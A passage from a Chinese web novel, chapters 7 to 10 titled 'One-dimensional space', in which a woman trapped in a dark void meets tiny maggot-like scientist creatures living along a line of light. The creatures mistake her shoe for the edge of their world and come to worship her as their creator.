褚清子对这个词其实并不陌生,因为在太多动画片和电视剧里,听过这项技能的名声。怎么,她是闯关成功获得异能了?
就这?
还没结束?
她不太理解,更没体会到这项技能的有利性,但很快手机来不及给她反应,屏幕很快熄灭,如何按也点不出亮光。
她深吸了口气,将手机重新踹进了裤兜。眼睛又需要重新适应黑暗了,虽然眼前的光源不暗,但不够明亮。
她不得不重新挣扎,继续往前走,沿着光源往前走。不知走了多久,她停下来,手指触摸到了光线上,想碰碰上面有没有温度。
正在这时,身后突然有个很小的异动引起了她的注意。她能感觉到这道声音离自己很远,远到普通人的耳朵根本就无法接收。但她能听到,而且听得很清楚。
是个女人的叹息,很轻微却很诡异,因为那声音仿佛就贴在她的身后。
7. 一维空间(一)
07一维空间(一)
褚清子浑身都起了鸡皮疙瘩,身后的叹息一直在延续。
就像有个女人贴在她的脚边,很难过,也很丧,不停地叹气。
她不敢回头,因为这种声音不是婆婆的,是陌生的,是外来的,是她不认识的。她整个人像绷紧的弦,手触在光线上,像被禁锢住了灵魂。
是顺风耳的副作用吗?她忍不住怀疑,可是这种贯穿进身体的声音,并不像是单纯从耳朵里听到的,更像是从骨头里传出的。
她无法不去忽视这种闷在身体里的声音干扰,就像她的身后总有无数双眼睛,在暗中盯着她。
可她总得弄清楚这种叹息的来源,她不想直接面对未知的恐惧。
褚清子竖起耳朵,在给自己做最后的心理准备,可是越专注,叹息声就越接近。
烦死了,她想。
再这样下去,她迟早会神经衰弱。她已经不知道自己被困在这密闭的空间有多久,只知道若是一直找不到突破口,还不停地被这些诡异的声响干扰,她肯定会疯的。
在做了长久的心理建设后,她才缓慢地站起身,下定决心回头。然而,在回头的瞬间,她胆子不大,并没睁眼。
不过,也在回头的刹那,叹息声戛然而止。耳根子终于清净了,不对,是体内的闷响终于结束了。
褚清子松了口气,是不是待在未知的环境里太久,精神压力太大,她出现幻觉了?
她静下心,仔细地听,确实没有再出现任何的声响,虚无仍然是虚无,是像宇宙一样没有介质传递声音的虚无。
她继续往前走,沿着光线前行。累了的时候,就顺势坐在地上,奇怪的是哪怕长久没有进食,她也不觉得口渴或者饥饿,反而仍是正常的状态。
但那叹息声又来了,就像低频的噪音,如果放在平日里较为喧闹的环境,她可能根本不会注意,但现在是非常安静的状态,它的节奏,还有产生的共鸣,会让人心烦意乱。
然后,她还是选择了转头。可是那声音,仍然在持续。
它真的很吵。
吵到褚清子已经不再恐惧,甚至开始习惯,产生了厌烦。
在她身后不断延长的光线前,看不见任何东西。或者说,是活着的东西。
没有任何收获,但是叹息声断断续续。这东西,真的很丧,就像被意志磨灭的牛马,像上班那种丧。
但……也不是完全没有收获。
虽然离得很远,可褚清子的视力还是不错。她隔着像银河一样绵延的光线,看见有生物在里面漂浮。
也不算漂浮,它们像是同光线重合在一起,只是因为在移动,所以能在短时间内辨认清楚,能够做出区分。
只是,随着越来越近的距离,褚清子的认知从一开始的理智,再到又一次被颠覆。
那东西,险些能隐藏在光线里,无法辨认的东西,像是两条细长的……蛆。
是两条蛆,正在不停地靠近。
褚清子以为自己看错了。
为什么这种蛆能顺着光线,以极其快速的节奏在往前赶?这确实超出了普遍的认知。
褚清子忍不住揉了揉眼睛,以为是自己休息的时候,盯着光线看太久了,视网膜上就出现了几道重影。
可是她打过哈欠,揉过眼睛,甚至还呛了眼泪出来,都无济于事。光线中那两条像蛆一样的细线越来越近,直到游在了她的脚边。
它们停下来了,但也不算不动,而是以不能计算的速度微小地蠕动,缓慢地扭曲着自己的身体。
这次,褚清子看清楚了。
光线里,长着两条细长的蛆。还有,发出叹息的蛆。
“神啊!”她在密闭的空间里,第一次发出了逃也似的闷喊。
响彻了天地。
没错,这片天地指的就是蛆的世界。
它们以为打雷了。
褚清子撒开腿就往前躲,她平生最讨厌的就是这种软体动物,尤其是这种富含蛋白质,柔腻光滑的蛆!
它们虽然很小,看起来并没有多少威胁,但是……
就是很恶心人!
褚清子甚至能想象,如果再晚一点往前跑,这两条蛆铁定会顺着她的身体往上爬,一直爬,甚至还会借宽大的衣物作为躲避的掩体。一时半会,这两条蛆还会接触到皮肤,在她的惊慌中钻到任何可能露出的表皮上。
她头也不回,甚至都不紧张前方有什么危险,只想甩掉那两条蛆。
她闷着头往前跑,却突然脚下一软朝前跌落,手比脸的反应更快,替她遮挡住了坚硬的地面。
她摔倒了,比疼痛更提前的反应是不知所措的懵圈。
褚清子好累,她在黑暗里,就像跌入了绝境,身体的机能都在逐渐失控,所以在超越了极限的时候,整个人会不由自主地绊倒在地。
然后,她听见了有谁在对话,不是叹息,而是很清楚的说话声。
断断续续,窸窸窣窣。
她睁圆了眼睛回头看,却见离着较远的地方,那两条蛆还是追上来了。其中,有一条蛆正发出人类的声音。
对,她没听错。
它说的是普通话,而且还是一条公蛆。
“奇怪了,刚才明明看见了,怎么那道边界会突然缩小,然后又消失不见了……”
“哎,会不会是我们都看花眼了?”另一条母蛆说道。
“怎么可能,我们两个都看到了,不可能看花眼。”
“等等!史教授你看前面那是什么,是我们要找的吗?”
“好像是!”史教授的语气很激动,“可是上面的纹理怎么不一样?艾教授,我们去靠近些,再看仔细点……”
“史教授……如果这真的是所谓世界的边界……那岂不是我们的理论就是正确的?”
“艾教授,你先别急着下定论,我们得先证实。”
“好,我随时做好记录。”
什么教授……
什么世界的边界……
什么理论……
这下,褚清子更晕了。
是不是在密封的空间里呆久了,会因为大脑缺氧,出现幻觉?怎么可能呢?两条蛆,怎么可能说话呢?
史教授:“所以,刚才感受到的震感,并不是错觉?”
“是啊,确实是历史书上提到过的震感,好像已经失迹了几十年了。”
“对,距离上次发生,已经过了很久了。”
“莫不是因为和边界有关?”
两位教授说的话,褚清子都听得懂,却看不懂,更准确地说,她无法相信两条蛆能说人话,还能像人类一样,拥有思想,拥有历史,还拥有互称学者的文明。
换句话说,就像蛆长了脑子,有了智慧,能和人类进行跨物种的交流和交易。
但……这可能吗?
她从地上爬起,然后坐起身,低着头看着两条蛆,却不敢面对。同时,她也很好奇,可好奇心害死猫,她就是那只猫。她想知道,它们还能闲聊出什么花样。
“奇怪,纹理又变了。”史教授靠近,“刚才明明是黑色弯曲的曲线,一条接着一条产生的是不规则的走向。现在好像这些曲线都消失了,全成了黑色没有沟壑的平面。”
“是啊,所以边界的纹理是会变化的。”艾教授记录道。
“嗯,你先写
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一个结论,世界的边界是黑色,纹理会产生变化。”
“它的质感呢?我是说,它是软的,还是硬的?”艾教授记录时提出了这个问题,“要不……你朝前撞一撞?”
它想了个昏招。
“好,我试试。”
史教授脑子没有过滤,它毫不犹豫,弓起了身子准备朝前发力。可比它更快的,是褚清子的反应力,她怎么可能成为两条蛆的实验品。
她撑起身子,朝前又跑了。
“史教授……它好像又缩小了……”
“等等……边界消失了。”
“难不成,它可以移动?”
“不对,这种固定又庞大的物体怎么可能随意移动呢?它又不是活物,我们看见的难不成是海市蜃楼?以为很近了,其实还很远。”史教授理所当然地补充道。
“原来如此,看来要验证我们的理论,道阻且长啊。”
褚清子当然没听见它们离经叛道的讨论,因为她跑得很快,快到以为又甩掉了那两条科学蛆。
她不懂,自己究竟产生了什么魅力,可以让它们穷追不舍,还想要触碰研究。她绝不可能让它们碰到身上的一根寒毛,一个人类被两条蛆当作实验对象去做研究,简直是荒诞至极的事。
甚至,还会成为人类历史上最可笑的笑柄。
她跑了很久,已经很累了。不过前沿的光线就像条看不见尽头的长河,她也不知道自己究竟跑了有多远。
就在她气喘吁吁,坐下来想暂时休息时,那种可怕的叹息声又开始了。随之,便是熟悉的对话声。那两条科学蛆,又跟了上来。
科学家,无论是人类还是其他物种,都有很强的坚持和探索精神。
她这次不跑了,只想知道它们这么执着地找她究竟是为了什么。
没想到顺风耳这项技能还挺好用,她老远就捕捉到了艾教授的抱怨:“哎,怎么永远都走不到尽头啊。我们刚才看见的,不会是因为走太久出现的幻觉吧。”
“别放弃,我们都研究一辈子了,已经离成功很近了。”
“只希望你说的是对的,这个世界就是一条有限的直线。”
有限的直线?褚清子捕捉到了一个关键词。
这句话,就和“地球是圆的”一样,它们难道在研究类似的理论?
敢情这两条蛆将自己当作了尽头,以为验证了提出的理论。可是她看向了反方向,前方仍然是一望无际的光线,世界并不是一条有界的直线。
她长叹了口气,更加觉得自己精神不太好。需要赶紧出去,去医院接受专业的治疗。
然而那两条科学蛆聊着聊着,也真实出现在了眼前。只不过这一次,它们变得特别谨慎,也更加小心翼翼,害怕又是竹篮打水一场空。
褚清子看见它们扭扭捏捏的,又伫立在前认真采集着数据,做好记录。
她突然觉得,自己应该接触到了属于这个空间的物种,有智慧,有思想,还有文明。
那它们,如果是属于这种物种较高智慧的科学家,是不是会对这个空间更加了解一些,对她出去岂不是会有更大的帮助?
虽然,它们现在研究的这个观点是错的。但起码,它们应该对其他方面也有较深的研究。
她能听懂它们说话,同是普通话,说不定它们也能听懂她说的话。
褚清子突然灵机一动,很快想好了措辞,她突然觉得自己其实思路还是很流畅,也很清晰的。
她微微低下头,两只眼睛一动不动地盯着两条蛆,然后开口,祭出了第一句人类与蛆之间的对话:“你好。”
说完,她又补了一句,“你们是什么东西?”
8. 一维空间(二)
08一维空间(二)
“你好,你们又是什么东西?”
这句话,没有贴合语境,真的很像在骂人。
褚清子等了会儿,没有听见任何的回应。她才恍然,自己是不是说了不好听的话,让两位科学蛆起情绪了?
这两条蛆,仍然没有回应,更直观的是,它们的身体在颤抖。那似乎是一种生理性的反应,特别强烈的应激状态,甚至严重到……那位艾教授开始痉挛。
褚清子没看错,她只能用“痉挛”两个字生动形容,看起来艾教授像是受到了足以影响身体控制的刺激。
她知道自己说错了话,但怎么区区一句话,就会让它们变得不受控制?
它们胆子会这么小?
褚清子不知道,也正是这区区的一句话,在两条蛆的眼中,像是从天而降的神在低语。
是苍天而起,大地而落,低沉又宏大的回响,直接冲击史教授和艾教授的内心。
它们其实是最笃信科学的无神论者,可当生命中出现过一次完全超出常理的事件后,原本坚不可摧的三观会瞬间崩塌,最终成为无妄信仰的忠实信徒。
“这……这是?”史教授注意到艾教授已经惧怕到身体不停地颤抖。它其实也很害怕,因为刚才经过头顶的共鸣很响很长,绵延不断,像是在脑海里不断晃荡。
但凭借多年科学探索的经验,它还是故作镇定,想试图协助身旁的艾教授稳定下来,如果身体长时间处于这种应激的反应,肯定会出事。
“不……不怕……”史教授安慰着它,却更像在安慰自己,“这更能说明,我们找到了世界的边界。那句话原来是真的,世界的尽头住着造物主。”
造物主?褚清子本以为它们会回应,至少在不生气的情况下,应该能听懂她说的话。
可现在看这二位的反应,她好像一开始就不应该报以期待。
艾教授哆哆嗦嗦地摆动着身子,好不容易嘴里囫囵了句话:“所……所以,刚才我们听见的声音,那个奇怪却又很吓人的低声炮,是造物主的神迹?”
“神迹?”
“嗯……虽然我一直以为这是无稽之谈,但有些现象真的无法用科学解释清楚。比如我们刚刚听见的动静,你能想明白是怎么回事吗?”
“我确实没有办法去论证,它是怎么产生的。”
“我之前也看过一些报道,有些学者曾在世界各地发现过无法解释的现象。比如曾经有一整个旅游团凭空消失,过了很久,却被发现它们出现在了世界的另一端。还有的遇见过鬼打墙,就像莫名其妙陷入了一个死循环,永远在一个圈打转。还有某处地方突然出现的湖泊,那里曾经是没有任何水源的……”
艾教授提出了自己的猜测:“如果……我们刚刚见识到的真的是神迹,那在这边界之后,莫非真的住着传说中的造物主?”
“你信吗?”史教授仍然摇头,“我还是不信,但是我知道,我有畏惧心。这种无法解释的现象,往往都会选择将它们神化,但很多在后来还是能用科学去解释。只是我们现在水平有限,无法马上解释清楚。”
“你还是这么犟。”说着,艾教授面露无奈,身体反应也随着聊天的过程中逐渐平稳,“我们要不先做个标记,现在当务之急是先验证我们的理论。”
“对。”
褚清子听了半天,这两位科学蛆仍然沉迷于自己的研究中无法自拔,看着它们一言一语地讨论着神迹。她觉得它们有病,因为刚才所谓的神迹就是她给创造的。
她能看破它们无法看破的一切,但她却不能给它们任何的指点。因为她找不到它们可以沟通的方式。
她甚至觉得自己有病,竟然开始思考艾教授的那番话。它所说的那些现象的确在她的世界也出现过。比如航班飞到某个云层,突然连人带机彻底消失。还比如,这个熟悉的鬼打墙故事,都成了恐怖小说的标准描写手法。
生活中,的确也有很多这种无法解释的现象。难不成,也同它们一样,这些奇怪的神迹也是像其他物种创造出来的?
那就很奇怪了,她和它们之间到底是什么样的物种差异?
为什么她能清晰地看破它们,可它们却完全看不见她的完整存在?
然而,到底有什么办法能够让它们发现她的存在呢?
褚清子突然觉得,她和它们之间就像人类和神仙一样。人类永远都在想象中去描绘神仙的样貌、言行还有属性,却从来没有人敢站出来拿出证据真正承认,他们见过神仙。
而她现在也正巧成了它们眼中,所认同的那种神仙。只是光凭现象,去口口相传,至于她的样貌,它们却从来都不会勘破。
没等她想明白,眼前的两位教授又开始了小动作。它们好像左右摇晃着前端,像是在跳舞,也更像是在……发出脑电波?
就像昆虫在探索前路,以及寻找食物一样,这两条蛆也在用最原始的动作进行着某种交流。
褚清子在等它们下一步的举动,却没有报以太大的期望。因为在刚刚,她就已经失望过一次了。以为正常的搭讪后,应该能获得有利的信息,然后自然而然跨物种地同它们进行交流。
但没想到,事情总是会按照超乎常理的方向发展。她觉得,自己能冷静下来想出这种昏招,已经是脑子不太清醒了。现在,还静下来欣赏它们的一举一动,说白了,也算是一种自暴自弃吧。
然而就在她准备放弃观察,继续寻找其他方法时,骨子里那叹息声又来了,还不止一声,是无数声,接二连三地叹在心口。
她很奇怪,眼前就它们二位,从何而来更多的叹息声呢?
对啊,怎么突然传来这么多叹息声呢?
可她反应过来的时候,身体是来不及反应的,因为更多的叹息声就意味着……更多的蛆!
想通这件事后,褚清子头皮再次发麻,比看见那两条蛆时,身上的鸡皮疙瘩更加密集。
在两位科学蛆的身后,出现了不是一两只,而是一群,泱泱一群的蛆。
这种叹息声越来越敞亮,原来让人害怕的并不是认知里熟悉的事物,而是从来没想到,更不会在现实中看到的恐惧。
一窝蜂不停叹息的蛆连着串朝她袭
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来。
眼前的场景太壮观了,甚至打破了她对这个世界的认知。它们扭扭捏捏地排在一起,都会快速地移动,都会扑腾,还都很丧。
密密麻麻的,简直是生物灾难。
“史教授!”
“看,是艾教授他们!”
“……”
它们很兴奋,但褚清子不太行,她快晕了,换句话说是想吐,憋得快晕了。
她伸出双手死命地捂住自己的嘴,害怕它们稍不注意就一头撞进自己的嘴巴里,再咽下肚,被迫成了增强她蛋白质的食物。
但它们似乎没法游这么高,行走的轨迹好像都有限制,只能达到她的脚边。
它们……好像无法抬头看见她,所以也注意不到她的存在,只当她是它们世界里一个固定的物质。
这种物质,在它们眼中是没有存活的道理,她不是有思维、有智慧的活物,更像是一栋房子的一面墙,一座占据了整片天空的山峰,一片连接了天地的汪洋大海。
她成了它们世界的自然。
它们似乎有种奇怪的规律,只能按照光线的宽度,排成一列。最先抵达的都排在史教授和艾教授的后面,立稳后也被眼前的庞然边界所震撼。不同的蛆会产生不同的感叹,也有不同的想法。比较成熟的已经能够融入到史教授和艾教授的研究中,开始了周边场地的保护和探查。
而一些愣头青,愣是排在中间半天没动静,还忍不住说着闲话。
“太壮观了。”
“这简直是发现的又一大奇迹。”
“是啊,我们的历史总是会因为这些奇迹被改写。”
“你能帮我拍个照,留念一下吗?”
“行,那等会你也帮我合个影。”
它们仿佛将褚清子真的当作了旅游景点,开始毫不顾忌地仔细观察,然后不停地打卡留念。
不过,艾教授注意到了它们在摸鱼,虽然它不能回头,但还是以较大的音量提醒道:“还有正事要做,我们叫你们过来不是参观,而是要帮忙的。”
“哦哦,我马上。”
“对,马上就好。”
原来在蛆的世界,也有干活不认真的牛马。褚清子观察着它们的一举一动,觉得这个世界的它们其实就像人类的映射,生存的逻辑都是相通的。
但她还是没弄明白,怎么才能同它们产生交流,毕竟眼下离开这里才是最重要的。
如果刚才那个空间没有出现任何奇怪的生物,只是凭听觉就能找到关键点,那这处空间会不会突破口就在这些蛆身上。
在这里,好像五感并不重要,那究竟什么才会比较重要呢?
褚清子已经好久没有接触过思考了,在社会工作多年,日复一日,年复一年的工作程序已经让她养成了行为惯性。做这种工作的难度,分工的流程,节奏的快慢,与人打交道的人情世故,都是刻在骨子里的记忆。
她很少去思考,可是被困在这里后,她开始不得不去思考,反而还有些不适应了。
她好像成长了,自我意识地成长,还是别的什么,她也说不清。
9. 一维空间(三)
09一维空间(三)
“你知道吗?刚才艾教授同我们说,它听见了造物主的声音。”
“造物主?是那个传说中可以创造我们,创造自然,创造世界的造物主?”
“嗯。”
“……这不会是它们走累了凭空幻想的吧。”
“真的,她刚才亲口说的,虽然没有录下来,但史教授也听见了。”
另只蛆“啊”了一声,“它一直都很严谨,但没想到也会说这种话。”
“嗯嗯,它们虽然没有录下来,但这片地方,以为也会成为我们历史上最重要的历史景观了。”
“但不管是不是真的存在造物主,我们都是历史的创造者。”
“我们也是见证者。”
接下来这群蛆开始分组分工地在她的脚下展开了排查。就像在一长条能发光的线段里,有无数细长的蛆在光线里蠕动,很卖力地在干活,实现它们的梦想。
它们应该不觉得累,反而充满了兴奋与激情,而且每过一会儿,它们都会有重大的发现。虽然在褚清子眼中看来,不足为奇,甚至有些可笑。
“记录,这道边界的质地是坚硬的。”
“记录,这道边界的质地也是光滑的。”
“记录,边界的颜色是通体的黑色。”
……
它们明明在创造历史,可在褚清子眼中全是无用功。
它们就像是井底之蛙,而她是能扒在井上看着它们用有限的视野生存的人类。所谓的边界是她的鞋面,普通的鞋面而已。她如果换个角度踩进光线里,它们又会有其他的发现。
可是她不想这么做,生活已经很苦了,千变万化会让工作变得更复杂,她如果发生了变化,它们就要重来一次,重来两次……重来一万次。
她也是打工人,她不想给这种很伟大的打工人添堵。
但她要出去,离开这个狭窄的世界,回到自己的老房子,还有未完成的事情需要去做。
她还是得打招呼。
只是打招呼的方式,不能像之前一样直接。
想到这儿,褚清子俯下身,脸几乎贴在了自己的鞋面前,她担心如果没有够到有效的位置,那些蛆恐怕听不见。
“你好。”
还是那句,挺有礼貌的问候。
这次她发声缓慢,也很轻,害怕正常的语速和嗓音会让蛆们误会,又是什么神迹。
她等了会儿,仍然没有听见任何的回应,而那些蛆却下意识地摇摆互相看着前后的同事,从它们的身段中能看出,它们都很疑惑。
“你好,是我在说话。”褚清子又强调了一遍。
这次,反应最大的是史教授。它感受到身后忙碌的蛆们,放下了手中的活。
“是你在说话吗?”他试探性地问了一下后列的蛆。
“不是,我还以为是你在说话。”那条蛆给予了同样的反馈。
“奇怪了,我还以为是我幻听了。”
“或许是别的老师在说话呢。”
“不,是我在说话。”褚清子凑近了些,很小声,像蚊子嗡嗡地杵在它们头顶上。
天黑了,这些蛆的天变成了豁然的黑洞。可它们看不见,只能感受到周围色差较大的变化。
它们惊恐地看着前方,周围本应该敞亮的环境怎么突然变得这么暗。
这是它们从未接触过的事件,像是有黑暗侵蚀了它们的光明。
可那句“不,是我在说话”,它们几乎都听见了。不是来自于哪一条蛆,而是又从天而降的声音,是神在说话!
由于它们带了很多专业的设备,正在录制现场,也在直播,这一段被很好地捕捉到位。
很诡异,却很惊喜。
“你们好,”褚清子没放弃,继续尝试着交流,每个字都咬得很慢,“我—叫—褚—清—子,刚—刚—是—我—在—说—话。”
这次,蛆们集体产生了应激反应。
它们似乎听见了,神在低语,造物主在自报法号,可是这种压制于全身的回响很恐怖,哪怕它们的情绪在高涨,可害怕的心理也不甘示弱。
它们听见了造物主在说话,造物主在同它们交流。
它们……是被造物主选中的!
史教授已经经历过一次了,可它并没经历过造物主是真的存在。它对着褚清子的鞋面,身体弯曲成度,然后迸发出了同它沉稳人设完全不同的力量:“畜禽!造物主的名字是畜禽!”
畜禽?
褚清子觉得史教授的普通话有待修炼,它的叫法,很像畜生的畜,禽兽的禽。
“是啊!造物主显灵了!”
接着一群科学蛆开始莫名其妙膜拜,还有立在原地自我感动。它们好像背弃了身为科学家的理性认知,此时此刻都成了褚清子的信徒。
如果站在人类的视角,当他们面对无法解释的事实,通常都会让感性占据自己的大脑。所有学习的科学道理都不重要了,重要的是,眼睛耳朵所捕捉的一切。
现在,是造物主在眷顾它们。
所以对于褚清子,她仔细地在换位思考,这群蛆突然的朝拜,对她来说其实还能理解。
“你好,史教授。”褚清子礼貌性地打着招呼,“请问你们是什么物种?”
这次,她换了一个形容词,比较礼貌点的词语。
她并没有放弃去追求这个真相,她真的很好奇,它们究竟是什么生物,拥有同人类一样的智慧,一样的文明,唯独不同的却是形态。
它们不会是外星生物吧?但很像被困在低阶世界的外星生物。
“啊?”很显然,造物主的第一个问题很奇怪,史教授下意识地疑惑了一声。
但它也意识到,造物主之所以这么问,是因为虽然创造了它们,但没有给予它们名字。而回应造物主的问题,是在所有记录设备面前,一种公之于众、至高无上的荣誉。
很快,他给予了回复:“我们是线民。”
线民,很陌生的词,应该是这种物种给自己的定义。就像人称自己为人类一样。
它们是生活在一条光线上的线民。
就在褚清子若有所思的时候,史教授突然开口:“畜禽造物主,冒昧打扰,我可以
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问您个问题吗?”
他怎么一直重复这个称呼?
史教授的口音,是挺冒昧的。
但褚清子具有海纳百川的包容心,毕竟眼前的线民唤了她一声造物主,将她当作神一样的存在。所以,她轻轻“嗯”了一声。
“请问,我们眼前的是这个世界的尽头吗?”
褚清子不知道该怎么回答它的这个问题,因为它所看到的尽头,其实只是她的鞋面。
如果说不是,就相当于直接将答案告诉了它们。可如果将真相直接公布,按照老祖宗的告诫,道破天机将会受到惩罚。
虽然,她不知道在这个世界会不会遵循这种古老又迷信的规则,但她确实不想破坏这些科学家勇于探索的精神。
真理,是探索出来的,而不是直接给它们一个答案。
那样,就不叫属于史教授它们的理论了。
她想了想,往后退了一步,而这些信民的眼前,所谓的尽头也改变了一段轮廓。
面对突如其来的变化,所有信民都愣在了原地,因为它们不知道这种变化是有限的还是无限的。
它们看不见完整的褚清子,就永远不会弄清楚尽头不是所谓的边界。所以这也是褚清子展示了后退后,见它们反应迟钝,再去犹豫的原因。她不知道该不该去推它们一把,去纠正它们错误的观点。
哪怕不是告诉真正的答案。
如果,以她的视角去解释,仅有局限认知的它们肯定会混乱。可要是稍微点拨一下,让这些线民根据线索自己再去探索真相呢?
这样,会不会对它们文明的进步好一点?
褚清子认为,自己还是挺适合做造物主的。因为她有悲悯心,同情心,她也感同身受。
她站起身,开始往后退,然后看见不远处的那群蛆的身体又开始发生了痉挛。她没退很远,而是给了它们一个可以观测到的距离。她坐下来,又将脸杵在鞋面前,这次它们的世界没有变得黑暗,而是逐步获得了光明。
可是边界那一圈,却是渗透了色差。
这一点的变化,给它们带来了世界的变化,自然的变化,还有科学的冲击。
褚清子做了这一步,才缓缓点拨史教授:“你看,你以为是尽头,是边界,但你以为的只是冰山一角。”
“真正的真理,是需要经受住考验的。”
说完,她又站了起来,直直地朝着它们走去。她甚至胆大到可以用鞋面去触碰几乎很近距离的线民们。虽然很小心翼翼,但是在线民们的眼中,世界在毁灭。
褚清子停下来,看着惊慌失措,不断往后退的线民们,发出了灵魂的拷问:“现在,你们还认为这仅仅是世界的边界吗?”
如她所料,世界沉默了,那些线民都没有说任何的话。它们像在思考,也更像自己的认知被不断颠覆。
因为刚才的变化转瞬即逝,它们虽然有设备可以记录,但是还不能很快去消化变化的过程。
造物主果然是造物主,稍微的提问,让在场的学者精英都陷入了沉思。
世界在变化,理论在更新,认知被颠覆。
10. 一维空间(四)
10一维空间(四)
所有的沉默背后,都是无法回答问题的沉思。因为褚清子带来的变化,所设限的范围太大,让线民们暂时失去了思考。
然而,在这群线民中间,史教授之所以被称作先驱者,获得了大部分的尊敬,还是有一定的道理。
它杵在褚清子的鞋面前观察了很久,很久,然后提出了一个很小的请求:“造物主,您能让这道边界远离我们吗?”
它似乎发现了关键,因为在这之前所有线民都没有怀疑边界是一道会动的物体。
线民们都以为,边界只是边界而已,是自然的坐标,是固定的场景。
可史教授的脑子里,已经开始飞速地转动:世界的尽头可以移动。
它的理性正被一种更原始的敬畏感撕扯,它甚至产生了怀疑,对自己理论的怀疑,对毕生研究的怀疑,以及追求科学的信仰产生了怀疑。
但它仍然,保持着一颗追求真理的决心,所以它提出了这个大胆的请求。
它虽然不能确定造物主,是否能许诺这个愿望,但它想试一试。
然后,褚清子照做了。因为这是史教授自己琢磨出来的突破口,她并没有提醒很多,她只是顺水推舟。
她退得很远,远到她的鞋面成了一个具有形态且较扁的整体。线民们沸腾了,因为大家普遍脑海里冒出的结论便是,边界是可以移动的,边界之后生存着造物主。
但在这片突如其来的沸腾中,只有史教授僵立在原地,它的大脑在飞速运转,根据眼前光线的强弱,物体的远近造成的视觉冲突,以及造物主提醒的话。
它觉得,事情仍然不对劲。边界不仅仅是移动这么简单,在那之后好像能看到更为虚空的世界,它好像忽略了什么。
毕竟,它们看见的不是真理,而是视觉造成的冲突。
史教授朝身后的艾教授讨论道:“你还记得我们第一次见到世界边界的时候,是不是也离得很近?”
“没错,但是边界没有一直都在眼前,没过一会儿就移动成了很小的点,然后消失了。”
“那就对了。”
“什么对了,你难道有什么发现吗?”
“我可能有个重大的发现,将会颠覆在场所有老师们的认知。”
“什么……”
“在我们认为的边界之后,应该还有前进的路。”
“你说什么?!”
“……你先别慌,这只是我的怀疑,毕竟我们谁都没有论证过。”
没一会儿,褚清子重新走到了它们面前,然后蹲下身继续仰望着这群用力思考的线民。
真的不再进一步去帮它们解决难题吗?
她还是在纠结。
就在她开始犹豫的时候,史教授陆续组织线民们靠近她的鞋面,它们好像想要从鞋的两侧钻出去。
但这根本不可能,她的一个鞋面占据了光线的所有空间,根本没有缝隙可以给线民们钻空子。
而且她发现了,线民们能活动的空间只局限于光线内,左右两边的虚空它们都无法触碰。它们好像被困在一条无穷无尽的线段里,不能朝左或朝右移动,也不能朝上朝下去探索。
它们的世界其实很简单,但它们的视野和认知却永远无法去揭穿事实的真相。
在她眼中,此时的线民们就像航海的水手,在没有接近她鞋面的时候,看见的形状就像在海上遥望某些岛屿和海岸线时,只是一条线段,或者某个突兀的小点。
它们无法分辨确切的情况,因为航海的水手在面对汪洋大海的时候其实很渺小。而现在,这些线民在面对褚清子时也一样,它们也很渺小。
褚清子看着史教授和艾教授一边组织着线民们想要突破她的鞋面,一边又在寻找其他的突破口。
太慢了,这样下去,她根本没法很快找到出口。她做了一个大胆的决定,在无数条线民里找到了史教授和艾教授,又顺手捏住它们送到了自己的身后,也就是被鞋面遮挡的另一个边。
这个举动是突如其来的,以至于在史教授和艾教授眼中,它们突然完成了一次瞬移。
“史教授呢?”
“艾教授也不见了!”
另一边的线民们变得特别慌乱,因为本在引导它们调查研究的领头羊突然不见了。
褚清子看着兵荒马乱的线民们,突然意识到已经拥有上帝力量的她,随便一个小动作就会引起它们整片区域的轰动。
所以,她刚才那个举动就好像之前谈到过的灵异事件。一整个旅游团凭空失踪,不过是造物主的手伸向了它们,轻而易举地帮助它们去了新的空间。
可线民们却以为史教授和艾教授都失踪了。
然而,它们只是相隔着一个褚清子而已。
她是线民们默认的造物主,也是能随意拿捏它们的人。虽然听起来有点中二,但有句话毋庸置疑。
史教授和艾教授就是她选中的人,它们眼中所谓的造物主选中的人。
褚清子希望能用这一小小的改变,撬动它们寻找出口的真相。但她却不知道,正因为她微小、习以为常的举动,让线民们所一直仰赖的科学理论不得不被突破。
因为旧的科学无法去解释新的现象时,科学会面临进步。
史教授和艾教授正迷茫地感受着眼前的变化,突然身边的老师们都消失了,世界的尽头还在原地,可是其他线民们都不见了。
它们还以为,是线民们消失了。
史教授掏出了一枚指南针,重新辨别方向时才发现了端倪。它们所处的位置,是调换了方向。
它和艾教授面对的边界转向了。
这种变化,简章是噩梦。因为它存在无限的可能,还有未知的恐惧。尤其对于史教授来说,一天超出认知的变化太多,科学的素养就会不断降低。它们仿佛感受到了异世界的召唤,使它们改变了地理位置。
它们现在所处的地点就是那道边界的另一边。
那道无法判断来源的声音,来自造物主的询问又突兀地响起。
“如果你们想坚持下去,就继续往前走。”褚清子给予了最好的嘱托,“我会跟着你们。”
史教授又开始了身体的激动,原来它们方位的变化是造物主引起的,它们追求真理的探索,也是获得了造物主的支持。
它很激动,蹒跚探索了近一辈子,也成为这些线民最前端的学者,它寻求的真相,应该很快就会找到了。
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“我们能边走边聊吗?”褚清子蹲下身,嘴巴杵在它们的头顶,很认真地想引起共鸣。
“当……当然。”史教授回应,但同时它也想到了被隔阻在另一边的其他线民,“那我们的邻居们呢,它们怎么办?”
“邻居?”褚清子之前就听见它们这样唤彼此,现在这个词又很奇怪地出现了,她不太理解,“它们究竟是你的同事,还是邻居?”
“是我们的邻居。”艾教授回应,“我们线民每个出生的时候,一前一后都会有陌生的邻居,一朝为邻,终生就会成为邻居。所以我们同它们既是一起奋斗的同事,也是一起生活的邻居,我和史教授从小也是邻居。”
“可……”褚清子想评价什么,但这太奇怪了,相当于这些线民一辈子只能和两个线民相依为命地一直在一起,也是一前一后的距离,那它们所认定的邻居,是否就是家人的关系呢?
“所以,邻居就是你们的家人?”
“不,不是。”艾教授否认道,“邻居只是邻居,而家人是同频共振的关系。我们和家人之间其实相距甚远,只能利用同种频率进行远程交流。”
什么意思?它们出生起,就和家人进行了分居?
褚清子不太理解,因为她无法想象,便又问道:“那你们见过自己的家人吗?”
艾教授苦笑道:“没有,我这辈子就见过两个线民,一个是史教授,还有一个是我身后那位,应该是被您隔绝在边界另一边排第一位的那个。”
“至于我……”史教授叹了口气,“我前面那位邻居是我的老师,它已经死了,所以现在就由我接替他成为寻找世界真相的第一棒。”
“难道……在你之前还有很多第一棒吗?”
“有,有很多。我们线民每一个第一棒去世前都会将自己的理论和心得留给身后的邻居。在我之前,已经产生了很多关于这个世界的理论。”
“比如……”
“比如,有最早的先驱认为,世界是断层的。我们前进的路上会出现断层产生的裂缝,当线民们走进去就会随机被安排到另一个地理位置。所以我和艾教授的消失,可能会让这种断层理论获得更多支持。”
